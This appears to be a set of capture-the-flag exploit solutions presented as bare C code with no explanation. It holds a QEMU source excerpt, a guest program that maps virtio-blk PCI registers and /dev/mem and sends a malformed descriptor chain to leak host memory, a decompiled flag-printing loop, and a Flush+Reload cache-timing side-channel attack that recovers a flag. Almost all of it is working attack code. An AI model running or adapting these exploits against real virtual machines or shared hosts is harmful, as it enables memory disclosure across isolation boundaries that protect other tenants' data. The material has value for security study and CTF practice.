/* Unmaps a memory region previously mapped by address_space_map().
 * Will also mark the memory as dirty if is_write is true.  access_len gives
 * the amount of memory that was actually read or written by the caller.
 */
void address_space_unmap(AddressSpace *as, void *buffer, hwaddr len,
                         bool is_write, hwaddr access_len)
{
    if (buffer != bounce.buffer) {
        MemoryRegion *mr;
        ram_addr_t addr1;

        mr = memory_region_from_host(buffer, &addr1);
        assert(mr != NULL);
        if (is_write) {
            invalidate_and_set_dirty(mr, addr1, access_len);
        }
        if (xen_enabled()) {
            xen_invalidate_map_cache_entry(buffer);
        }
        memory_region_unref(mr);
        return;
    }
    if (is_write) {
        address_space_write(as, bounce.addr, MEMTXATTRS_UNSPECIFIED,
                            bounce.buffer, access_len);
    }
    qemu_vfree(bounce.buffer);
    bounce.buffer = NULL;
    memory_region_unref(bounce.mr);
    /* Clear in_use before reading map_client_list.  */
    qatomic_mb_set(&bounce.in_use, false);
    cpu_notify_map_clients();
}

#include<stddef.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/mman.h>
#include<string.h>
#include<stdio.h>
#include<assert.h>
#include<stdint.h>
#include<sys/io.h>
#include<linux/stddef.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define u64 uint64_t
#define le16 u16
#define le32 u32
#define le64 u64

struct virtio_pci_cap {
    u8 cap_vndr;
    u8 cap_next;
    u8 cap_len;
    u8 cfg_type;
    u8 bar;
    u8 id;
    u8 padding[2];
    le32 offset;
    le32 length;
};

struct virtio_pci_common_cfg {
    /* About the whole device. */
    le32 device_feature_select; /* read-write */
    le32 device_feature; /* read-only for driver */
    le32 driver_feature_select; /* read-write */
    le32 driver_feature; /* read-write */
    le16 config_msix_vector; /* read-write */
    le16 num_queues; /* read-only for driver */
    u8 device_status; /* read-write */
    u8 config_generation; /* read-only for driver */
    /* About a specific virtqueue. */
    le16 queue_select; /* read-write */
    le16 queue_size; /* read-write */
    le16 queue_msix_vector; /* read-write */
    le16 queue_enable; /* read-write */
    le16 queue_notify_off; /* read-only for driver */
    le64 queue_desc; /* read-write */
    le64 queue_driver; /* read-write */
    le64 queue_device; /* read-write */
    le16 queue_notify_data; /* read-only for driver */
    le16 queue_reset; /* read-write */
};

struct virtio_notify_cfg {
    struct virtio_pci_cap cap;
    le32 notify_off_multiplier;
};

struct virtio_blk_config{
    le64 capacity;
    le32 size_max;
    le32 seg_max;
    struct virtio_blk_geometry {
        le16 cylinders;
        u8 heads;
        u8 sectors;
    } geometry;
    le32 blk_size;
    struct virtio_blk_topology {
        // # of logical blocks per physical block (log2)
        u8 physical_block_exp;
        // offset of first aligned logical block
        u8 alignment_offset;
        // suggested minimum I/O size in blocks
        le16 min_io_size;
        // optimal (suggested maximum) I/O size in blocks
        le32 opt_io_size;
    } topology;
    u8 writeback;
    u8 unused0;
    u16 num_queues;
    le32 max_discard_sectors;
    le32 max_discard_seg;
    le32 discard_sector_alignment;
    le32 max_write_zeroes_sectors;
    le32 max_write_zeroes_seg;
    u8 write_zeroes_may_unmap;
    u8 unused1[3];
    le32 max_secure_erase_sectors;
    le32 max_secure_erase_seg;
    le32 secure_erase_sector_alignment;
};

enum virtio_pci_cfg_type{
    VIRTIO_PCI_CAP_COMMON_CFG = 0x1,
    VIRTIO_PCI_CAP_NOTIFY_CFG = 0x2,
    VIRTIO_PCI_CAP_ISR_CFG = 0x3,
    VIRTIO_PCI_CAP_DEVICE_CFG = 0x4,
    VIRTIO_PCI_CAP_PCI_CFG = 0x5,
    VIRTIO_PCI_CAP_SHARED_MEMORY = 0x8,
    VIRTIO_PCI_CAP_VENDOR_CFG = 0x9,
};

/* Feature bits */
#define VIRTIO_BLK_F_SIZE_MAX1/* Indicates maximum segment size */
#define VIRTIO_BLK_F_SEG_MAX2/* Indicates maximum # of segments */
#define VIRTIO_BLK_F_GEOMETRY4/* Legacy geometry available  */
#define VIRTIO_BLK_F_RO5/* Disk is read-only */
#define VIRTIO_BLK_F_BLK_SIZE6/* Block size of disk is available*/
#define VIRTIO_BLK_F_FLUSH9/* Flush command supported */
#define VIRTIO_BLK_F_TOPOLOGY10/* Topology information is available */
#define VIRTIO_BLK_F_MQ12/* support more than one vq */
#define VIRTIO_BLK_F_DISCARD13/* DISCARD is supported */
#define VIRTIO_BLK_F_WRITE_ZEROES14/* WRITE ZEROES is supported */
#define VIRTIO_BLK_F_SECURE_ERASE16 /* Secure Erase is supported */

/* Status byte for guest to report progress, and synchronize features. */
/* We have seen device and processed generic fields (VIRTIO_CONFIG_F_VIRTIO) */
#define VIRTIO_CONFIG_S_ACKNOWLEDGE1
/* We have found a driver for the device. */
#define VIRTIO_CONFIG_S_DRIVER2
/* Driver has used its parts of the config, and is happy */
#define VIRTIO_CONFIG_S_DRIVER_OK4
/* Driver has finished configuring features */
#define VIRTIO_CONFIG_S_FEATURES_OK8
/* Device entered invalid state, driver must reset it */
#define VIRTIO_CONFIG_S_NEEDS_RESET0x40
/* We've given up on this device. */
#define VIRTIO_CONFIG_S_FAILED0x80

#define VIRTIO_QUEUE_SIZE 0x10

struct virtq_desc {
    /* Address (guest-physical). */
    le64 addr;
    /* Length. */
    le32 len;
/* This marks a buffer as continuing via the next field. */
#define VIRTQ_DESC_F_NEXT 1
/* This marks a buffer as device write-only (otherwise device read-only). */
#define VIRTQ_DESC_F_WRITE 2
/* This means the buffer contains a list of buffer descriptors. */
#define VIRTQ_DESC_F_INDIRECT 4
    /* The flags as indicated above. */
    le16 flags;
    /* Next field if flags & NEXT */
    le16 next;
};

struct virtq_avail {
#define VIRTQ_AVAIL_F_NO_INTERRUPT 1
    le16 flags;
    le16 idx;
    le16 ring[VIRTIO_QUEUE_SIZE];
    le16 used_event; /* Only if VIRTIO_F_EVENT_IDX */
};

struct virtq_used_elem {
    /* Index of start of used descriptor chain. */
    le32 id;

    /*
    * The number of bytes written into the device writable portion of
    * the buffer described by the descriptor chain.
    */
    le32 len;
};

struct virtq_used {
#define VIRTQ_USED_F_NO_NOTIFY 1
    le16 flags;
    le16 idx;
    struct virtq_used_elem ring[VIRTIO_QUEUE_SIZE];
    le16 avail_event; /* Only if VIRTIO_F_EVENT_IDX */
};

struct virtio_blk_req {
    le32 type;
    le32 reserved;
    le64 sector;
    u8 data[0];
    // u8 status;
};

#define VIRTIO_BLK_T_IN 0
#define VIRTIO_BLK_T_OUT 1
#define VIRTIO_BLK_T_FLUSH 4
#define VIRTIO_BLK_T_GET_ID 8
#define VIRTIO_BLK_T_GET_LIFETIME 10
#define VIRTIO_BLK_T_DISCARD 11
#define VIRTIO_BLK_T_WRITE_ZEROES 13
#define VIRTIO_BLK_T_SECURE_ERASE 14


void print_cap(struct virtio_pci_cap* cap){
    printf("cap_len: %x\n", cap->cap_len);
    switch(cap->cfg_type){
        case VIRTIO_PCI_CAP_COMMON_CFG:
            printf("cfg_type: common\n");
            break;
        case VIRTIO_PCI_CAP_NOTIFY_CFG:
            printf("cfg_type: notify\n");
            break;
        case VIRTIO_PCI_CAP_ISR_CFG:
            printf("cfg_type: isr\n");
            break;
        case VIRTIO_PCI_CAP_DEVICE_CFG:
            printf("cfg_type: device\n");
            break;
        case VIRTIO_PCI_CAP_PCI_CFG:
            printf("cfg_type: pci\n");
            break;
        case VIRTIO_PCI_CAP_SHARED_MEMORY:
            printf("cfg_type: shared memory\n");
            break;
        case VIRTIO_PCI_CAP_VENDOR_CFG:
            printf("cfg_type: vendor\n");
            break;
        default:
            printf("cfg_type: unknown\n");
            break;
    }
    printf("bar: %x\n", cap->bar);
    printf("id: %x\n", cap->id);
    printf("offset: %x\n", cap->offset);
    printf("length: %x\n", cap->length);
}

void ERR(const char* buf){
    perror(buf);
    abort();
}

void LOG(const char* buf){
    write(2, buf, strlen(buf));
}

volatile char* readflag_mmio = NULL;
volatile char* virtio_mmio = NULL;
volatile char* virtio_common_mmio = NULL;
volatile struct virtio_notify_cfg* virtio_notify_mmio = NULL;
volatile char* virtio_isr_mmio = NULL;
volatile char* virtio_device_mmio = NULL;
volatile char* dma_mem = NULL;
volatile char* dma_data = NULL;
volatile struct virtq_desc* queue_desc = NULL;
volatile struct virtq_avail* queue_avail = NULL;
volatile struct virtq_used* queue_used = NULL;

void init_readflag(){
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.0/resource0", O_RDWR | O_SYNC);
    if(mmio_fd < 0){
        ERR("Open readflag");
    }
    readflag_mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if(readflag_mmio == (volatile void*)-1){
        ERR("mmap mmio_mem");
    }
    close(mmio_fd);

    puts("readflag init done");
}

uint8_t mmio_read8(void* addr){
    return *(volatile uint8_t*)addr;
}

uint16_t mmio_read16(void* addr){
    return *(volatile uint16_t*)addr;
}

uint32_t mmio_read32(void* addr){
    return *(volatile uint32_t*)addr;
}

uint64_t mmio_read64(void* addr){
    return *(volatile uint64_t*)addr;
}

void mmio_write8(void* addr, uint8_t val){
    *(volatile uint8_t*)addr = val;
}

void mmio_write16(void* addr, uint16_t val){
    *(volatile uint16_t*)addr = val;
}

void mmio_write32(void* addr, uint32_t val){
    *(volatile uint32_t*)addr = val;
}

void mmio_write64(void* addr, uint64_t val){
    *(volatile uint64_t*)addr = val;
}

void mb(){
    asm volatile("mfence":::"memory");
}

void init_virtio() {
    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/config", O_RDONLY);
    if(fd < 0){
        ERR("Open virtio config");
    }
    struct virtio_pci_cap cap;
    char* config = malloc(0x1000);
    int bytes_read = read(fd, config, 0x1000);
    if(bytes_read < 0){
        ERR("Read virtio config");
    }

    fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource4", O_RDWR | O_SYNC);
    if(fd < 0){
        ERR("Open virtio resource4");
    }
    virtio_mmio = mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if(virtio_mmio == (volatile void*)-1){
        ERR("mmap virtio mem");
    }
    close(fd);

    u8 cap_ptr = *(u8*)(config+0x34);
    while(cap_ptr != 0){
        if(config[cap_ptr] != 0x9){
            cap_ptr = *(u8*)(config+cap_ptr+1);
            continue;
        }
        memcpy(&cap, config+cap_ptr, sizeof(cap));
        print_cap(&cap);
        switch(cap.cfg_type){
            case VIRTIO_PCI_CAP_COMMON_CFG:
                virtio_common_mmio = virtio_mmio + cap.offset;
                break;
            case VIRTIO_PCI_CAP_NOTIFY_CFG:
                virtio_notify_mmio = (struct virtio_notify_cfg*)((size_t)virtio_mmio + cap.offset);
                break;
            case VIRTIO_PCI_CAP_ISR_CFG:
                virtio_isr_mmio = virtio_mmio + cap.offset;
                break;
            case VIRTIO_PCI_CAP_DEVICE_CFG:
                virtio_device_mmio = virtio_mmio + cap.offset;
                break;
            default:
                break;
        }       
        cap_ptr = cap.cap_next;
    }
    close(fd);
    free(config);

    struct virtio_pci_common_cfg* common_cfg = (struct virtio_pci_common_cfg*)virtio_common_mmio;
    mmio_write32(&common_cfg->device_feature_select, 0);
    printf("device_feature[0]: %x\n", mmio_read32(&common_cfg->device_feature));
    mmio_write32(&common_cfg->device_feature_select, 1);
    printf("device_feature[1]: %x\n", mmio_read32(&common_cfg->device_feature));
    mmio_write32(&common_cfg->driver_feature_select, 0);
    printf("driver_feature[0]: %x\n", mmio_read32(&common_cfg->driver_feature));
    mmio_write32(&common_cfg->driver_feature_select, 1);
    printf("driver_feature[1]: %x\n", mmio_read32(&common_cfg->driver_feature));

    struct virtio_blk_config* blk_cfg = (struct virtio_blk_config*)virtio_device_mmio;
    printf("capacity: %lx\n", mmio_read64(&blk_cfg->capacity));
    printf("size_max: %x\n", mmio_read32(&blk_cfg->size_max));
    printf("seg_max: %x\n", mmio_read32(&blk_cfg->seg_max));
    printf("geometry.cylinders: %x\n", mmio_read16(&blk_cfg->geometry.cylinders));
    printf("geometry.heads: %x\n", mmio_read8(&blk_cfg->geometry.heads));
    printf("geometry.sectors: %x\n", mmio_read8(&blk_cfg->geometry.sectors));
    printf("blk_size: %x\n", mmio_read32(&blk_cfg->blk_size));

    // reset device
    mmio_write8(&common_cfg->device_status, 0);
    mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_ACKNOWLEDGE);
    mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE);
    mmio_write32(&common_cfg->driver_feature_select, 0);
    mmio_write32(&common_cfg->driver_feature, 0); // disable all features
    mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE);
    assert(mmio_read8(&common_cfg->device_status) & VIRTIO_CONFIG_S_FEATURES_OK);


    // alloc dma memory
    int dma_fd = open("/dev/mem", O_RDWR | O_SYNC);
    if(dma_fd < 0){
        ERR("Open dma");
    }
    dma_mem = mmap((void*)0x3ffdd000, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0x3ffdd000);
    if(dma_mem == (volatile void*)-1){
        ERR("mmap dma mem");
    }
    *(volatile uint32_t*)dma_mem = 0x12345678;
    printf("%x\n", *(volatile uint32_t*)dma_mem);
    *(volatile uint32_t*)dma_mem = 0;
    printf("dma_mem: %p\n", dma_mem);
    dma_data = dma_mem + 0x1000;
    queue_desc = (struct virtq_desc*)dma_mem;
    queue_avail = (struct virtq_avail*)((char*)queue_desc + 0x10 * VIRTIO_QUEUE_SIZE);
    queue_used = (struct virtq_used*)((char*)dma_mem + 0x200);
    
    // init queue
    mmio_write16(&common_cfg->queue_select, 0);
    mmio_write16(&common_cfg->queue_size, VIRTIO_QUEUE_SIZE);
    mmio_write64(&common_cfg->queue_desc, (size_t)0x3ffdd000);
    mmio_write64(&common_cfg->queue_driver, (size_t)0x3ffdd100);
    mmio_write64(&common_cfg->queue_device, (size_t)0x3ffdd200);
    mmio_write16(&common_cfg->queue_enable, 1);

    mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_DRIVER_OK | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE);
    puts("virtio init done");
}

void spray(){
    for(int i = 0xfff; i > 0x28; i-=4){
        mmio_write32((void*)readflag_mmio, i);
    }
}

void hexdump(void* addr, size_t size){
    // dump 4 bytes per time
    for(int i = 0; i < size; i+=4){
        uint32_t val = *(volatile uint32_t*)(addr+i);
        for(int j = 0; j < 4; j++){
            uint8_t chr = (val >> (j*8)) & 0xff;
            if(chr >= 0x20 && chr <= 0x7e){
                putchar(chr);
            }else{
                putchar('?');
            }
        }
    }
}

int main(){
    setbuf(stdout, NULL);
    init_readflag();
    init_virtio();

    volatile struct virtio_blk_req* req = (struct virtio_blk_req*)dma_data;
    req->type = 0xffffffffu;
    req->sector = 0;
    req->reserved = 0;

    queue_desc[0].addr = (size_t)req;
    queue_desc[0].len = 0x10;
    queue_desc[0].flags = VIRTQ_DESC_F_NEXT;
    queue_desc[0].next = 1;
    queue_desc[1].addr = (size_t)0xfe000000;
    queue_desc[1].len = 0xfff;
    queue_desc[1].flags = VIRTQ_DESC_F_WRITE | VIRTQ_DESC_F_NEXT;
    queue_desc[1].next = 2;
    queue_desc[2].addr = (size_t)dma_data + 0xa00;
    queue_desc[2].len = 1;
    queue_desc[2].flags = VIRTQ_DESC_F_WRITE;
    queue_desc[2].next = 0;
    
    queue_avail->flags = 1;
    queue_avail->ring[0] = 0;
    queue_avail->idx = 1;
    mb();
    mmio_write8((void*)virtio_isr_mmio, 1);
    struct virtio_pci_common_cfg* common_cfg = (struct virtio_pci_common_cfg*)virtio_common_mmio;
    void* notify_addr = (void*)((uintptr_t)virtio_notify_mmio + mmio_read32((void*)&virtio_notify_mmio->cap.offset) + mmio_read16(&common_cfg->queue_notify_off) * mmio_read32((void*)&virtio_notify_mmio->notify_off_multiplier));
    puts("--------------------------------");
    for(int i = 0; i < 0x100; i+=4){
        spray();
    }
    mmio_write16(notify_addr, 0);
    puts("--------------------------------");
    hexdump((char*)virtio_common_mmio + 0x000, 0x100);
    
    munmap(dma_mem, 0x3000);
    munmap(virtio_mmio, 0x4000);
    munmap(readflag_mmio, 0x1000);
}

int probe(void* addr) {
    volatile unsigned long time;
    asm __volatile__ (
        " mfence \n" 
        " lfence \n" 
        " rdtsc \n"
        " lfence \n"
        " movl %%eax, %%esi  \n" //eax存储了时间戳计数器的后32位
        " movl (%1), %%eax   \n" //读取addr
        " lfence             \n"
        " rdtsc \n"
        " subl %%esi, %%eax  \n" //将两次得到的时间相减，得到耗时
        " clflush 0(%1)      \n" //flush
        : "=a" (time)
        : "c" (addr)
        :  "%esi", "%edx"
    );
    return time;
 }

strcpy(v7, "dasctf{xxx_xxxxxxx_xx_xxxx_xxxxx}");
Emojis = getEmojis(a1, a2);
for ( i = 0; ; ++i ) {
    for ( j = 1; j <= 100; ++j ) {
      v5 = Emojis[1000 * (i % 34) + 32 * (v7[i % 34] - '_')];
      setlocale(6, "en_US.utf8");
      printf("-------> %lc \n", v5);
    }
    usleep(10u);
}

#include <stdio.h>
#include <wchar.h>
#include <unistd.h>

extern wchar_t* getEmojis();


int probe(void* addr) {
    volatile unsigned long time;
    asm __volatile__ (
        " mfence \n"
        " lfence \n"
        " rdtsc \n"
        " lfence \n"
        " movl %%eax, %%esi  \n"
        " movl (%1), %%eax   \n"
        " lfence             \n"
        " rdtsc \n"
        " subl %%esi, %%eax  \n"
        " clflush 0(%1)      \n"
        : "=a" (time)
        : "c" (addr)
        :  "%esi", "%edx"
    );
    return time ;
 }
int test_outL3_time(void* addr) {
    volatile unsigned long time;
    asm __volatile__ (
        " mfence \n"
        " lfence             \n"
        " clflush 0(%0)      \n"
        : 
        : "c" (addr)
        :  
    );
    asm __volatile__ (
        " mfence \n"
        " lfence \n"
        " rdtsc \n"
        " lfence \n"
        " movl %%eax, %%esi  \n"
        " movl (%1), %%eax   \n"
        " lfence             \n"
        " rdtsc \n"
        " subl %%esi, %%eax  \n"
        " clflush 0(%1)      \n"
        : "=a" (time)
        : "c" (addr)
        :  "%esi", "%edx"
    );
    return time ;
 }

unsigned long outL3_time;
unsigned long  inL3_time;
unsigned long average_cache_time;

void TestCache(){
    wchar_t *emo=getEmojis();
    for(int i=1;i<=1000;i++){
        outL3_time+=test_outL3_time(emo);
        wchar_t x=emo[160]; //读取后emo+160应该在L3缓存中
        inL3_time+=probe((emo+160));
    }
    outL3_time/=1000;
    inL3_time/=1000;
    average_cache_time=(inL3_time+outL3_time)/2;
}

int main(){
    TestCache();
    printf("outL3_time=%ld\ninL3_time=%ld\naverage_cache_time=%ld\n",outL3_time,inL3_time,average_cache_time);

    wchar_t *emo=getEmojis();

    int flag[40][40]={0};

    for(int i=7;i<=31;i++){
        for(int j=0;j<=30;j++){
            for(int t=0;t<5000;t++){     
                unsigned long cache_time=probe(emo+i*1000+j*32);
                if(cache_time<average_cache_time){
                    printf("%d-%c---->%lu\n",i,j+'_',cache_time);
                    flag[i][j]++;
                }
                usleep(100); //等待server再次访问目标数据
            }
            printf("--------# %d %c over\n",i,j+'_');
        }
        printf("--------> %d over\n",i);
    }
    
    printf("\n===================\n");
    for(int i=7;i<=31;i++){
        for(int j=0;j<=30;j++){
                if(flag[i][j]>=2)printf("%c",j+'_');
        }
    }
    printf("\nDASCTF{");
    for(int i=7;i<=31;i++){
        int max_count=0;
        char c='#';
        for(int j=0;j<=30;j++){
            if(flag[i][j]>max_count){
            max_count=flag[i][j];
                c=j+'_';
            }
        }
        putchar(c);
    }
    puts("}");
    return 0;
}